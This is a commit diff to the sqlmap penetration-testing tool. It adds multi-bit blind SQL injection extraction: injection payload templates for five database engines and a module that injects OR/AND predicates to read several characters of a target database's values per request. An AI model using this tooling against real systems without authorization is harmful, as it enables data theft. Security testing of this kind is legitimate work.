Adding support for multi-bit boolean extraction

This commit is contained in:
Miroslav Štampar
2026-08-16 23:11:49 +02:00
parent 99367454c5
commit bdf3e09315
9 changed files with 1403 additions and 6 deletions
+15
View File
@@ -20,6 +20,9 @@
<case query="SELECT (CASE WHEN (%s) THEN 1 ELSE 0 END)"/>
<hex query="HEX(%s)"/>
<inference query="ORD(MID((%s),%d,1))>%d"/>
<bitmap query="((ORD(MID((%s),1+FLOOR((%s-%s)/%s),1))&gt;&gt;MOD(%s-%s,%s))&amp;1)=1"/>
<bitchar query="((ORD(MID((%s),%s,1))&gt;&gt;(%s))&amp;1)=1"/>
<bitcol query="((%s&gt;&gt;%s)&amp;1)=1"/>
<banner query="VERSION()"/>
<current_user query="CURRENT_USER()"/>
<current_db query="DATABASE()"/>
@@ -101,6 +104,9 @@
<case query="SELECT (CASE WHEN (%s) THEN '1' ELSE '0' END)"/>
<hex query="ENCODE(CONVERT_TO((%s),'UTF8'),'HEX')"/>
<inference query="ASCII(SUBSTRING((%s)::text FROM %d FOR 1))>%d"/>
<bitmap query="((ASCII(SUBSTRING((%s)::text FROM (1+FLOOR((%s-%s)/%s))::int FOR 1))&gt;&gt;((%s-%s)%%%s))&amp;1)=1"/>
<bitchar query="((ASCII(SUBSTRING((%s)::text FROM (%s)::int FOR 1))&gt;&gt;(%s))&amp;1)=1"/>
<bitcol query="((%s&gt;&gt;%s)&amp;1)=1"/>
<banner query="VERSION()"/>
<current_user query="CURRENT_USER"/>
<current_db query="CURRENT_SCHEMA()"/>
@@ -180,6 +186,9 @@
<case query="SELECT (CASE WHEN (%s) THEN '1' ELSE '0' END)"/>
<hex query="master.dbo.fn_varbintohexstr(CAST(%s AS VARBINARY(8000)))"/>
<inference query="UNICODE(SUBSTRING((%s),%d,1))>%d"/>
<bitmap query="((UNICODE(SUBSTRING((%s),1+((%s-%s)/%s),1))/POWER(2,((%s-%s)%%%s)))%%2)=1"/>
<bitchar query="((UNICODE(SUBSTRING((%s),%s,1))/POWER(2,(%s)))%%2)=1"/>
<bitcol query="((%s/POWER(2,%s))%%2)=1"/>
<banner query="SELECT @@VERSION"/>
<current_user query="SELECT SYSTEM_USER"/>
<current_db query="SELECT DB_NAME()"/>
@@ -260,6 +269,9 @@
NOTE: ASCIISTR (https://www.techonthenet.com/oracle/functions/asciistr.php)
-->
<inference query="ASCII(SUBSTRC((%s),%d,1))>%d"/>
<bitmap query="(BITAND(ASCII(SUBSTRC((%s),1+FLOOR((%s-%s)/%s),1)),POWER(2,MOD(%s-%s,%s)))&gt;0)"/>
<bitchar query="(BITAND(ASCII(SUBSTRC((%s),%s,1)),POWER(2,(%s)))&gt;0)"/>
<bitcol query="BITAND(%s,POWER(2,%s))&gt;0"/>
<banner query="SELECT banner FROM v$version WHERE ROWNUM=1"/>
<current_user query="SELECT USER FROM DUAL"/>
<!--
@@ -360,6 +372,9 @@
<case query="SELECT (CASE WHEN (%s) THEN 1 ELSE 0 END)"/>
<hex query="HEX(%s)"/>
<inference query="SUBSTR((%s),%d,1)>'%c'"/>
<bitmap query="((UNICODE(SUBSTR((%s),1+((%s-%s)/%s),1))&gt;&gt;((%s-%s)%%%s))&amp;1)=1"/>
<bitchar query="((UNICODE(SUBSTR((%s),%s,1))&gt;&gt;(%s))&amp;1)=1"/>
<bitcol query="((%s&gt;&gt;%s)&amp;1)=1"/>
<banner query="SELECT SQLITE_VERSION()"/>
<current_user/>
<current_db/>
+5
View File
@@ -54,6 +54,11 @@ def action():
setHandler()
# multi-bit blind ('--multi-bit'): the back-end is known now, so its bit arithmetic can be checked
# before nudging the user towards a channel that reads several characters per request (no requests)
from lib.techniques.blind import multibit
multibit.hint()
if kb.wafBypass and Backend.getDbms(): # persist the assumed DBMS so a resumed run restores it instead of re-fingerprinting (and dead-ending) behind the WAF
hashDBWrite(HASHDB_KEYS.DBMS, Backend.getDbms())
+3 -1
View File
@@ -2287,7 +2287,7 @@ def _setKnowledgeBaseAttributes(flushAll=True):
kb.lastParserStatus = None
kb.locks = AttribDict()
for _ in ("cache", "connError", "count", "handlers", "hint", "identYwaf", "index", "io", "limit", "liveCookies", "log", "prediction", "socket", "redirect", "request", "value"):
for _ in ("cache", "connError", "count", "handlers", "hint", "identYwaf", "index", "io", "limit", "liveCookies", "log", "multibit", "prediction", "socket", "redirect", "request", "value"):
kb.locks[_] = threading.Lock()
kb.matchRatio = None
@@ -2296,6 +2296,8 @@ def _setKnowledgeBaseAttributes(flushAll=True):
kb.mergeCookies = None
kb.mysqlUtf8mb4 = None
kb.multiThreadMode = False
kb.multibit = {} # per injection point: absent=untried, False=unusable, else the row channel profile
kb.multibitHinted = False
kb.multipleCtrlC = False
kb.negativeLogic = False
kb.nchar = True
+1
View File
@@ -137,6 +137,7 @@ optDict = {
"oobToken": "string",
"timeSec": "integer",
"timeless": "boolean",
"multiBit": "boolean",
"uCols": "string",
"uChar": "string",
"uFrom": "string",
+4 -4
View File
@@ -20,7 +20,7 @@ from lib.core.enums import OS
from thirdparty import six
# sqlmap version (<major>.<minor>.<month>.<monthly commit>)
VERSION = "1.10.8.36"
VERSION = "1.10.8.37"
TYPE = "dev" if VERSION.count('.') > 2 and VERSION.split('.')[-1] != '0' else "stable"
TYPE_COLORS = {"dev": 33, "stable": 90, "pip": 34}
VERSION_STRING = "sqlmap/%s#%s" % ('.'.join(VERSION.split('.')[:-1]) if VERSION.count('.') > 2 and VERSION.split('.')[-1] == '0' else VERSION, TYPE)
@@ -1627,7 +1627,7 @@ VALID_TIME_CHARS_RUN_THRESHOLD = 100
CHECK_ZERO_COLUMNS_THRESHOLD = 10
# Boldify all logger messages containing these "patterns"
BOLD_PATTERNS = ("' injectable", "provided empty", "leftover chars", "might be injectable", "' is vulnerable", "is not injectable", "does not seem to be", "test failed", "test passed", "live test final result", "test shows that", "the back-end DBMS is", "created Github", "blocked by the target server", "protection is involved", "CAPTCHA", "specific response", "NULL connection is supported", "PASSED", "FAILED", "for more than", "connection to ", "will be trimmed", "counterpart to database")
BOLD_PATTERNS = ("' injectable", "provided empty", "leftover chars", "might be injectable", "' is vulnerable", "is not injectable", "does not seem to be", "test failed", "test passed", "live test final result", "test shows that", "the back-end DBMS is", "created Github", "blocked by the target server", "protection is involved", "CAPTCHA", "specific response", "NULL connection is supported", "PASSED", "FAILED", "for more than", "connection to ", "will be trimmed", "counterpart to database", "several characters")
# Regular expression used to search for bold-patterns
BOLD_PATTERNS_REGEX = '|'.join(BOLD_PATTERNS)
@@ -1708,8 +1708,8 @@ PLAIN_TEXT_CONTENT_TYPE = "text/plain; charset=utf-8"
SUHOSIN_MAX_VALUE_LENGTH = 512
# Multi-bit blind inference ("row multiplexing"): one rendered row carries one bit, so a single
# response yields whole characters instead of a single boolean. Needs '--risk=3' (it widens the
# result set with OR) and proves every value back against the target before returning it.
# response yields whole characters instead of a single boolean. Used on demand ('--multi-bit', which
# widens the result set with OR) and proves every value back against the target before returning it.
MAX_MULTIBIT_LENGTH = 8192 # hard ceiling when the value length is unknown (anti-runaway)
MAX_MULTIBIT_PAGE = 1048576 # response bytes parsed for repeated row markup (larger pages are truncated)
MULTIBIT_BITS_PER_CHAR = 8 # one whole byte per character, one row per bit
+3
View File
@@ -436,6 +436,9 @@ def cmdLineParser(argv=None):
techniques.add_argument("--timeless", dest="timeless", action="store_true",
help="Use HTTP/2 timeless timing (faster, no delay)")
techniques.add_argument("--multi-bit", dest="multiBit", action="store_true",
help="Use rendered rows to read several bits per request")
techniques.add_argument("--union-cols", dest="uCols",
help="Range of columns to test for UNION query SQL injection")
+11 -1
View File
@@ -78,6 +78,7 @@ from lib.core.threads import getCurrentThreadData
from lib.core.threads import runThreads
from lib.core.unescaper import unescaper
from lib.request.connect import Connect as Request
from lib.techniques.blind import multibit
from lib.utils.progress import ProgressBar
from lib.utils.safe2bin import safecharencode
from lib.utils.xrange import xrange
@@ -986,8 +987,17 @@ def bisection(payload, expression, length=None, charsetType=None, firstChar=None
# and detects end-of-string correctly
return getChar(idx, asciiTbl, True, retried=retried)
# Multi-bit inference ('--multi-bit'): on a listing page a single response carries WHICH rows came
# back, i.e. a whole bit vector rather than one boolean, giving several characters per request. It
# returns None unless it proved the extracted value back against the target, so everything below
# is untouched whenever it is unusable (and it owns its own threading, hence before this branch).
multibitValue = multibit.attempt(expression, getChar, length, charsetType, firstChar or partialValue)
if multibitValue is not None:
finalValue = multibitValue
# Go multi-threading (--threads > 1)
if numThreads > 1 and isinstance(length, int) and length > 1:
elif numThreads > 1 and isinstance(length, int) and length > 1:
threadData.shared.value = [None] * length
threadData.shared.index = [firstChar] # As list for python nested function scoping
threadData.shared.start = firstChar
+943
View File
@@ -0,0 +1,943 @@
#!/usr/bin/env python
"""
Copyright (c) 2006-2026 sqlmap developers (https://sqlmap.org)
See the file 'LICENSE' for copying permission
"""
"""
Multi-bit blind inference ("row multiplexing"), used on demand ('--multi-bit').
Classic boolean-based blind reads ONE bit per request, because the oracle in comparison.py reduces a
response to True/False. On a listing page the response actually carries more: WHICH rows came back.
By making row N of the rendered query appear iff bit N of the target value is set, a single response
carries a whole bit vector - 8 bits per character, so several characters per request instead of eight
requests per character.
The switch is the permission: widening the result set with OR is what makes one response carry whole
characters, and that is a risk-3 operation in sqlmap's own policy (every "OR boolean-based blind" test
in boolean_blind.xml is <risk>3</risk>). Without it nothing here runs, and hint() merely says so once
on a target that would benefit.
The payload keeps the value expression exactly ONCE: the row identifier itself computes both the
character offset and the bit index (see the per-DBMS <bitmap> atom in queries.xml). Emitting one term
per bit instead would produce multi-kilobyte payloads that no real target accepts.
Correctness does NOT rest on the channel being clean. Every extracted value is proven back against
the target before it is returned (length plus chunk-wise equality, see _confirm), a canary row tells
an empty answer apart from a junk response, and any doubt returns None so that bisection() proceeds
untouched.
"""
import logging
import re
import time
from lib.core.agent import agent
from lib.core.common import Backend
from lib.core.common import dataToStdout
from lib.core.common import decodeIntToUnicode
from lib.core.common import filterControlChars
from lib.core.common import getTechnique
from lib.core.common import incrementCounter
from lib.core.common import isTechniqueAvailable
from lib.core.common import randomInt
from lib.core.common import setTechnique
from lib.core.common import singleTimeLogMessage
from lib.core.common import singleTimeWarnMessage
from lib.core.data import conf
from lib.core.data import kb
from lib.core.data import logger
from lib.core.data import queries
from lib.core.enums import PAYLOAD
from lib.core.settings import MAX_MULTIBIT_LENGTH
from lib.core.settings import MAX_MULTIBIT_PAGE
from lib.core.settings import MULTIBIT_BITS_PER_CHAR
from lib.core.settings import MULTIBIT_CALIBRATION_ROUNDS
from lib.core.settings import MULTIBIT_CANDIDATE_COLUMNS
from lib.core.settings import MULTIBIT_CONFIRM_CHUNK
from lib.core.settings import MULTIBIT_MAX_FAILURES
from lib.core.settings import MULTIBIT_MAX_PLANES
from lib.core.settings import MULTIBIT_MIN_BITS
from lib.core.settings import MULTIBIT_NARROW
from lib.core.settings import MULTIBIT_PLANES
from lib.core.settings import MULTIBIT_SAMPLES
from lib.core.settings import MULTIBIT_WIDEN
from lib.core.settings import MULTIBIT_WIDEN_RISK
from lib.core.threads import getCurrentThreadData
from lib.core.threads import runThreads
from lib.core.unescaper import unescaper
from lib.request.connect import Connect as Request
from lib.utils.xrange import xrange
try:
from lib.utils import sgmllib
except ImportError:
sgmllib = None
_TOKEN = re.compile(r'href="[^"]+"|[A-Za-z][A-Za-z0-9_\-]{3,}')
# row identity as real listing pages expose it:
# /product.php?id=12 (?id=12, &pid=12)
# data-id='12' (data attribute)
# /product/12 (path segment)
# <input name='product_id' value='12'> (form field, either attribute order)
_QUERY = re.compile(r'[?&]([A-Za-z_][A-Za-z0-9_]*)=["\']?(\d{1,9})(?!\d)')
_DATA = re.compile(r'\bdata-([A-Za-z_][A-Za-z0-9_]*)=["\']?(\d{1,9})(?!\d)')
_PATH = re.compile(r'/([A-Za-z_][A-Za-z0-9_]*)/(\d{1,9})(?!\d)')
_INPUT = re.compile(r'<input\b[^>]*>', re.I)
_INAME = re.compile(r'\bname\s*=\s*["\']?([A-Za-z_][A-Za-z0-9_]*)', re.I)
_IVALUE = re.compile(r'\bvalue\s*=\s*["\']?(\d{1,9})(?!\d)', re.I)
# page regions whose content is site chrome, not the result set: a nav menu, a currency switcher or a
# language picker repeats structurally just like rows do, so nothing inside these proves anything
_CHROME = frozenset(("head", "header", "nav", "footer", "aside", "script", "style", "noscript", "template"))
class _StructureParser(sgmllib.SGMLParser if sgmllib else object):
"""
One pass over a page, collecting repeated sibling elements outside the site chrome.
The tell-tale of a listing is REPEATED MARKUP: one row template stamped N times, so the same tag
with the same attribute names appears N times under the same parent. Chrome repeats too, which
is why header/nav/footer subtrees are excluded - only repeated structure in the page's own
content can be the result set.
"""
def __init__(self):
if sgmllib:
sgmllib.SGMLParser.__init__(self)
self._open = []
self.groups = {}
def unknown_starttag(self, tag, attrs):
self._open.append(tag)
if not any(_ in _CHROME for _ in self._open[:-1]):
parent = self._open[-2] if len(self._open) > 1 else None
names = tuple(sorted(name for name, _ in attrs))
self.groups.setdefault((parent, tag, names), []).append(attrs)
def unknown_endtag(self, tag):
if tag in self._open:
while self._open and self._open[-1] != tag:
self._open.pop()
if self._open:
self._open.pop()
def _debug(message):
logger.debug("multi-bit: %s" % message)
def _page(expression, mode):
"""
Runs an arbitrary boolean expression and returns the raw body.
Two ways to attach it, and the difference is not cosmetic:
WIDEN - "... OR (predicate)" against a negated value, which makes the whole table addressable
and the channel wide enough for several characters per request. It can also make an
injected UPDATE/DELETE touch rows it otherwise would not, which is why every OR test
in boundaries is risk 3 - and why this is what the switch buys.
NARROW - "... AND (predicate)" on the live value. Can only ever REMOVE rows, so the channel is
as wide as the rows the page already shows. The fallback for a result set no OR can
widen (a fixed filter in a subquery the payload cannot escape).
"""
if mode == MULTIBIT_WIDEN:
payload = agent.payload(newValue=agent.suffixQuery(agent.prefixQuery("OR (%s)" % expression)), where=PAYLOAD.WHERE.NEGATIVE)
else:
payload = agent.payload(newValue=agent.suffixQuery(agent.prefixQuery("AND (%s)" % expression)), where=PAYLOAD.WHERE.ORIGINAL)
page, _, _ = Request.queryPage(payload, content=True, raise404=False, silent=True)
incrementCounter(getTechnique())
return page or ""
def _tokens(expression, mode):
return set(_TOKEN.findall(_page(expression, mode)))
def _stable(expression, mode, samples=MULTIBIT_SAMPLES):
"""Tokens present in EVERY sample - drops per-response junk (CSRF, timestamps, ads, request ids)."""
retVal = None
for _ in range(samples):
current = _tokens(expression, mode)
retVal = current if retVal is None else (retVal & current)
if not retVal:
break
return retVal or set()
def _bitcol(column, base, bit):
"""Predicate 'bit `bit` of (column - base) is set', used to address rows in bulk."""
return queries[Backend.getIdentifiedDbms()].bitcol.query % ("(%s-%d)" % (column, base), bit)
def _join(*expressions):
return " AND ".join("(%s)" % _ for _ in expressions if _)
def _window(column, low, high):
return "%s BETWEEN %d AND %d" % (column, low, high)
def _extract(page):
"""
Yields (name, value) identifier pairs from the page's repeated content markup.
Only elements that REPEAT structurally count - a listing is one row template stamped N times, so
its identifiers sit inside elements whose tag, attribute names and parent tag recur. A single
element proves nothing, and the site chrome (nav menus, switchers, scripts) is excluded outright:
a single-row page is thus ruled out from the page alone, for free.
"""
if not page:
return
if sgmllib is None:
# no parser available (very new Python): the identifier forms alone, wherever they appear
for key, value in _QUERY.findall(page) + _DATA.findall(page) + _PATH.findall(page):
yield key, int(value)
for tag in _INPUT.findall(page):
name, value = _INAME.search(tag), _IVALUE.search(tag)
if name and value:
yield name.group(1), int(value.group(1))
return
parser = _StructureParser()
try:
parser.feed(page[:MAX_MULTIBIT_PAGE])
parser.close()
except Exception:
return
for (_, tag, _), members in parser.groups.items():
if len(members) < 2:
continue
for attrs in members:
if tag == "input":
name = next((value for key, value in attrs if key == "name"), "")
value = next((value for key, value in attrs if key == "value"), "")
if name and value.isdigit() and len(value) <= 9:
yield name, int(value)
else:
for key, value in attrs:
if key == "href":
for name, digit in _QUERY.findall(value) + _PATH.findall(value):
yield name, int(digit)
elif key.startswith("data-") and len(key) > 5 and value.isdigit() and len(value) <= 9:
yield key[5:], int(value)
def _identifiers(page):
"""
Row identifiers a response exposes, as real listing pages do it.
A row identifier VARIES within one response; one that does not is page furniture (or the injected
parameter reflected back), whatever it happens to be called.
"""
retVal = {}
for name, value in _extract(page):
retVal.setdefault(name, set()).add(value)
return dict((_, retVal[_]) for _ in retVal if len(retVal[_]) > 1)
def _discover(mode):
"""
Finds a per-row discriminator column and the markers identifying each row.
Cheap stages first, so a hopeless parameter costs a handful of requests instead of a linear scan:
1. viability - a probe against an empty one, plus a smaller range that must show strictly fewer
rows. A page that cannot show fewer rows when asked for fewer (pagination, truncation, a
cache serving one body) is rejected here, before anything expensive is paid for.
2. mapping - row identities are resolved by BIT PLANE: request k selects every row whose
offset from the base has bit k set, so a handful of requests place all of them. Probing
identifiers one at a time would cost one request each.
"""
if not queries[Backend.getIdentifiedDbms()].bitcol.query:
_debug("no <bitcol> atom for %s" % Backend.getIdentifiedDbms())
return None
spread = {}
# The page as the target itself serves it already lists row identifiers, and sqlmap has kept it
# since the stability check - so the candidates cost nothing. Only when it yields none is it
# worth asking for more rows (which, on a big table, is a big response).
for candidate in (kb.originalPage,) + (None,) * MULTIBIT_SAMPLES:
spread = _identifiers(candidate if candidate is not None else _page("1=1", mode))
if spread:
break
if not spread:
_debug("no row identifiers rendered in the response")
return None
empty = _stable("1=2", mode)
for column in sorted(spread, key=lambda _: len(spread[_]), reverse=True)[:MULTIBIT_CANDIDATE_COLUMNS]:
retVal = (_widen if mode == MULTIBIT_WIDEN else _narrow)(column, spread[column], empty, mode)
if retVal:
retVal.update(column=column, mode=mode)
return retVal
return None
def _narrow(column, known, empty, mode):
"""
The channel the page already carries: its OWN rows, addressed by name. Identifiers are whatever
the markup showed - they need not be consecutive, because the payload maps each one to a bit
through a CASE rather than through arithmetic.
"""
base = min(known) - 1
pool = _stable("1=1", mode) - empty
if len(pool) < MULTIBIT_MIN_BITS + 1:
_debug("column '%s' exposes too little per-row content (%d markers)" % (column, len(pool)))
return None
# asking for the lower half of the identifiers must show strictly fewer rows
inside = sorted(known)
fewer = _stable(_window(column, base, (inside[0] + inside[-1]) // 2), mode) & pool
if not (fewer < pool):
_debug("column '%s' shows the same rows for fewer identifiers (truncation/cache)" % column)
return None
count = min(MULTIBIT_MAX_PLANES, max(1, (max(known) - base).bit_length()))
rows = _place(_planes(column, base, mode, None, pool, count), pool, base, known)
order = sorted(rows)
if len(order) < MULTIBIT_MIN_BITS + 1:
_debug("column '%s' yields only %d usable rows on the page" % (column, len(order)))
return None
# one row is the canary (selected regardless of the data), the rest carry bits
return {"rows": rows, "canary": order[-1], "keys": order[:-1][:MULTIBIT_BITS_PER_CHAR], "perCall": 1}
def _widen(column, known, empty, mode):
"""
The whole table, addressed by a window of consecutive identifiers so that one compact payload can
carry several characters: the identifier itself computes both the character offset and the bit.
"""
span = 1 << MULTIBIT_PLANES
# Centre the window on the identifiers the page itself renders, so tables that do not start at 1
# (or at all) are still reachable. Offsets are counted from base = low - 1 so that they start at
# ONE: an offset of zero sets no bit in any plane, which is indistinguishable from a marker that
# went missing, and it would cost the first row of every window.
low = max(1, min(known) - span // 2)
base = low - 1
high = base + span - 1
window = _window(column, low, high)
pool = _stable(window, mode) - empty
if len(pool) < MULTIBIT_BITS_PER_CHAR + 1:
_debug("column '%s' exposes too little per-row content (%d markers)" % (column, len(pool)))
return None
# Asking for a range that leaves out an identifier known to exist must show strictly fewer rows.
# The cut is anchored on real identifiers CLIPPED TO THE WINDOW - halving the window proves
# nothing on a table smaller than it (15 products list the same for 1..64 as for 1..128), and
# halving the identifiers proves nothing on a table larger than it (with ids up to 1000 the
# "smaller" range would be wider than the window itself).
inside = sorted(_ for _ in known if low <= _ <= high) or sorted(known)
fewer = _stable(_window(column, low, (inside[0] + inside[-1]) // 2), mode) & pool
if not (fewer < pool):
_debug("column '%s' shows the same rows for a smaller range (pagination/truncation/cache)" % column)
return None
rows = _place(_planes(column, base, mode, window, pool, MULTIBIT_PLANES), pool, base, None)
# the payload derives char offset and bit index from (id - base), so ids must be consecutive
run = _longestRun(rows)
if len(run) < MULTIBIT_BITS_PER_CHAR + 1:
_debug("column '%s' yields only %d consecutive usable rows" % (column, len(run)))
return None
canary = run.pop() # unconditionally selected on every read
while len(run) % MULTIBIT_BITS_PER_CHAR: # whole characters only
run.pop()
return {"rows": dict((_, rows[_]) for _ in run + [canary]), "canary": canary,
"keys": run, "base": run[0], "perCall": len(run) // MULTIBIT_BITS_PER_CHAR}
def _planes(column, base, mode, restrict, pool, count):
"""
The bit planes of the row identifiers: plane k holds the markers of every row whose offset from
the base has bit k set, so `count` requests place up to 2**count rows.
An empty plane ABOVE every non-empty one simply means the identifiers do not reach that far. An
empty one BELOW them is a bad response, and re-probing it is far cheaper than letting it shift
every identifier by that bit.
"""
def probe(bit):
return _tokens(_join(restrict, _bitcol(column, base, bit)), mode) & pool
retVal = [probe(_) for _ in range(count)]
top = max([_ for _ in range(count) if retVal[_]] or [0])
for bit in range(top):
if not retVal[bit]:
retVal[bit] = probe(bit)
return retVal
def _place(planes, pool, base, known):
"""Turns the bit planes into 'row identifier -> the markers that identify only that row'."""
useful = [_ for _ in planes if _]
# Markers common to every plane that selected anything carry no identity - they are the shared
# row markup ("item", "class", ...). Intersecting ALL the planes instead would remove nothing
# when the high planes are empty for want of rows, and the markup would then be placed at a row
# identifier that does not exist (and, being the last one, would be picked as the canary).
pool = pool - (set.intersection(*useful) if useful else pool)
identity = {}
for token in pool:
value = 0
for bit in range(len(planes)):
if token in planes[bit]:
value |= 1 << bit
if value: # a marker in no plane at all is junk, not a row
identity.setdefault(base + value, set()).add(token)
if known: # only identifiers the markup really showed
identity = dict((_, identity[_]) for _ in identity if _ in known)
return _exclusive(identity)
def _exclusive(identity):
"""Keeps only markers that identify ONE row - shared markup is worthless as a bit."""
retVal = {}
for rid, tokens in identity.items():
others = set()
for other, more in identity.items():
if other != rid:
others |= more
unique = tokens - others
if unique:
retVal[rid] = unique
return retVal
def _longestRun(rows):
"""The payload derives char offset and bit index from (id - base), so ids must be consecutive."""
best, run = [], []
for k in sorted(rows):
run = (run + [k]) if (run and k == run[-1] + 1) else [k]
if len(run) > len(best):
best = list(run)
return best
def _selected(profile, expression):
"""One request -> the set of bit rows the target selected. None when the response itself was junk."""
rows, canary = profile["rows"], profile["canary"]
# the canary is OR-ed INSIDE the predicate, so even in narrow mode the result set stays a subset
# of the page's own rows
observed = _tokens("(%s) OR %s=%d" % (expression, profile["column"], canary), profile["mode"])
if not rows[canary] & observed:
return None # canary missing -> gateway error, interstitial, ...
return set(_ for _ in profile["keys"] if rows[_] & observed)
def _calibrate(profile):
"""
Proves superposition at FULL read width: tokens(A union B) == tokens(A) union tokens(B). This is
the gate that rejects paginated, truncated and deduplicating pages, where selecting extra rows
pushes others out. Subsets are expressed with the same compact bit arithmetic the reader uses, so
the calibration payload is the size of a real one.
"""
column, keys = profile["column"], profile["keys"]
base = keys[0] - 1
planes = max(1, (keys[-1] - base).bit_length())
everything = " OR ".join("%s=%d" % (column, _) for _ in keys)
# every row at once (the read-width test), then no row at all - the latter proves the canary is a
# real row rather than shared markup that merely follows "some row was rendered"
rounds = [(everything, set(keys)), ("%s AND NOT (%s)" % (_bitcol(column, base, 0), _bitcol(column, base, 0)), set())]
for _ in range(MULTIBIT_CALIBRATION_ROUNDS):
i, j = randomInt() % planes, randomInt() % planes
negate = bool(randomInt() % 2)
expression = "%s AND %s(%s)" % (_bitcol(column, base, i), "NOT " if negate else "", _bitcol(column, base, j))
expected = set(_ for _ in keys if ((_ - base) >> i) & 1 and (bool(((_ - base) >> j) & 1) != negate))
rounds.append((expression, expected))
for expression, expected in rounds:
observed = _selected(profile, expression)
if observed is None or observed != expected:
_debug("superposition failed (%d rows expected, %s observed)" % (len(expected), "junk" if observed is None else len(observed)))
return False
return True
def _read(profile, expression, position, count):
"""
One request -> `count` characters in widen mode; one character (in as many requests as the page
has bit rows) in narrow mode. Returns a list of ordinals (0 marks end of value), or None when a
response itself was junk (told apart by the canary row, selected regardless of the data).
"""
if profile["mode"] == MULTIBIT_WIDEN:
return _readWide(profile, expression, position, count)
column, keys = profile["column"], profile["keys"]
bitchar = queries[Backend.getIdentifiedDbms()].bitchar.query
# the row identifiers need not be consecutive here, so a CASE maps each one to the bit it carries
# - the value expression itself still appears exactly once
choice = "CASE %s%s END" % (column, "".join(" WHEN %d THEN %d" % (_, index) for index, _ in enumerate(keys)))
value = 0
for offset in range(0, MULTIBIT_BITS_PER_CHAR, len(keys)):
observed = _selected(profile, bitchar % (expression, position, "%s+%d" % (choice, offset) if offset else choice))
if observed is None:
return None
for index, key in enumerate(keys):
if offset + index < MULTIBIT_BITS_PER_CHAR and key in observed:
value |= 1 << (offset + index)
return [value]
def _readWide(profile, expression, position, count):
column, base, keys = profile["column"], profile["base"], profile["keys"]
bits = MULTIBIT_BITS_PER_CHAR
top = base + count * bits - 1
# 1+FLOOR((id-shifted)/bits) == position+FLOOR((id-base)/bits); parenthesized because it goes
# negative past the first window (and "id--40" would start a comment)
shifted = "(%d)" % (base - bits * (position - 1))
bitmap = queries[Backend.getIdentifiedDbms()].bitmap.query % (expression, column, shifted, bits, column, shifted, bits)
observed = _selected(profile, _join(_window(column, base, top), bitmap))
if observed is None:
return None
retVal = []
for c in range(count):
value = 0
for b in range(bits):
if keys[c * bits + b] in observed:
value |= 1 << b
retVal.append(value)
return retVal
def _ask(profile, predicate):
"""One request -> one bit, over the row channel (so it inherits the canary's junk detection)."""
marker = profile["keys"][0]
observed = _selected(profile, "%s=%d AND (%s)" % (profile["column"], marker, predicate))
return None if observed is None else (marker in observed)
def _confirm(profile, expression, value, length):
"""
Proves the WHOLE extracted value back against the target: its length, then equality chunk by
chunk. This is what makes the technique safe on hostile pages - a junk response, a dropped row or
a character the 8-bit channel cannot carry all end up as a mismatch here, never as output.
True when proven, False when the channel is at fault, None when THIS value simply cannot be
proven (nothing wrong with the channel, so it must not count against it).
"""
dbms = Backend.getIdentifiedDbms()
# A channel that drops rows reads zero bits and stops early, so the LENGTH is what implicates it.
# A character mismatch at the right length is about this value instead - 8 bits per character
# cannot reproduce every ordinal a DBMS may return (a multi-byte code, a codepoint above 255
# whose low byte still looks like ASCII), and that must not count against a working channel.
if length is None:
if _ask(profile, "%s=%d" % (queries[dbms].length.query % ("(%s)" % expression), len(value))) is not True:
_debug("length of the extracted value did not confirm")
return False
elif length != len(value):
_debug("extracted %d characters, expected %d" % (len(value), length))
return False
for offset in range(0, len(value), MULTIBIT_CONFIRM_CHUNK):
chunk = value[offset:offset + MULTIBIT_CONFIRM_CHUNK]
escaped = unescaper.escape("'%s'" % chunk.replace("'", "''"))
if "'" in escaped and not conf.noEscape:
# the DBMS-specific escaper stood down (e.g. EXCLUDE_UNESCAPE matched the data itself), so
# the literal would enter the payload quoted and could break the boundary
_debug("chunk at offset %d could not be escaped" % offset)
return None
if _ask(profile, "(%s)=%s" % (queries[dbms].substring.query % ("(%s)" % expression, offset + 1, len(chunk)), escaped)) is not True:
_debug("chunk at offset %d did not confirm" % offset)
return None
return True
def _usable(charsetType, partial):
"""The single-bit paths own everything multi-bit cannot reproduce exactly."""
if not conf.multiBit or partial:
return False # opt-in only, and a resumed value starts mid-string
if getTechnique() != PAYLOAD.TECHNIQUE.BOOLEAN or kb.nullConnection:
return False
if conf.firstChar or conf.lastChar or charsetType is not None or kb.data.get("processChar"):
return False # range-limited / restricted-charset / post-processed output
if not kb.injection or not kb.injection.parameter:
return False
return _atoms()
def _atoms():
"""Whether the fingerprinted back-end has the bit arithmetic the channel is built from."""
try:
return bool(queries[Backend.getIdentifiedDbms()].bitchar.query and queries[Backend.getIdentifiedDbms()].bitcol.query)
except Exception:
return False
def _verbose():
"""Whether bisection is drawing the value on an open "retrieved: " line right now."""
return conf.verbose in (1, 2) and not any((conf.eta, conf.api, kb.bruteMode, kb.multiThreadMode))
def _finish(profile, key):
"""Stores the discovered channel and reports what it measured."""
profile.update(key=key, verified=False, attempts=0, failures=0)
kb.multibit[key] = profile
if profile["mode"] == MULTIBIT_WIDEN:
width = "%d character%s" % (profile["perCall"], "s" if profile["perCall"] > 1 else "")
else:
width = "%d bits" % len(profile["keys"])
logger.info("parameter '%s' carries a multi-bit channel (%s, %d rows, %s per request)" % (kb.injection.parameter, profile["mode"], len(profile["rows"]), width))
return profile
def hint():
"""
Says the one thing worth saying about multi-bit on this target, at most once and NOT ONE REQUEST:
the page sqlmap already kept from the stability check is the whole evidence. Without the switch
that is a nudge towards it, with the switch it is the back-end that cannot carry it. Either way
only when boolean-based blind is the channel the run would use anyway (an in-band one is faster
than any row channel). Purely advisory, never raises.
"""
try:
if kb.multibitHinted:
return
kb.multibitHinted = True
if not isTechniqueAvailable(PAYLOAD.TECHNIQUE.BOOLEAN) or kb.nullConnection:
return
if any(isTechniqueAvailable(_) for _ in (PAYLOAD.TECHNIQUE.UNION, PAYLOAD.TECHNIQUE.ERROR)):
return
if conf.multiBit:
if not _atoms():
singleTimeWarnMessage("switch '--multi-bit' is not supported for %s" % Backend.getIdentifiedDbms())
return
rows = max([len(_) for _ in _identifiers(kb.originalPage).values()] or [0])
if rows > MULTIBIT_MIN_BITS and _atoms():
singleTimeLogMessage("target renders %d rows that a single response could carry data in. You can try switch "
"'--multi-bit' to read several characters per request instead of one bit. Though "
"it widens the result set with OR payloads, as '--risk=%d' does" % (rows, MULTIBIT_WIDEN_RISK), level=logging.INFO)
except Exception:
pass
def _verify(profile, expression, bisectChar):
"""
Cross-checks the channel against the trusted single-bit oracle, once per injection point.
Deliberately separate from discovery: the check reads the first character of whatever value
happens to come first, and an empty or non-ASCII one settles nothing. Such a value defers the
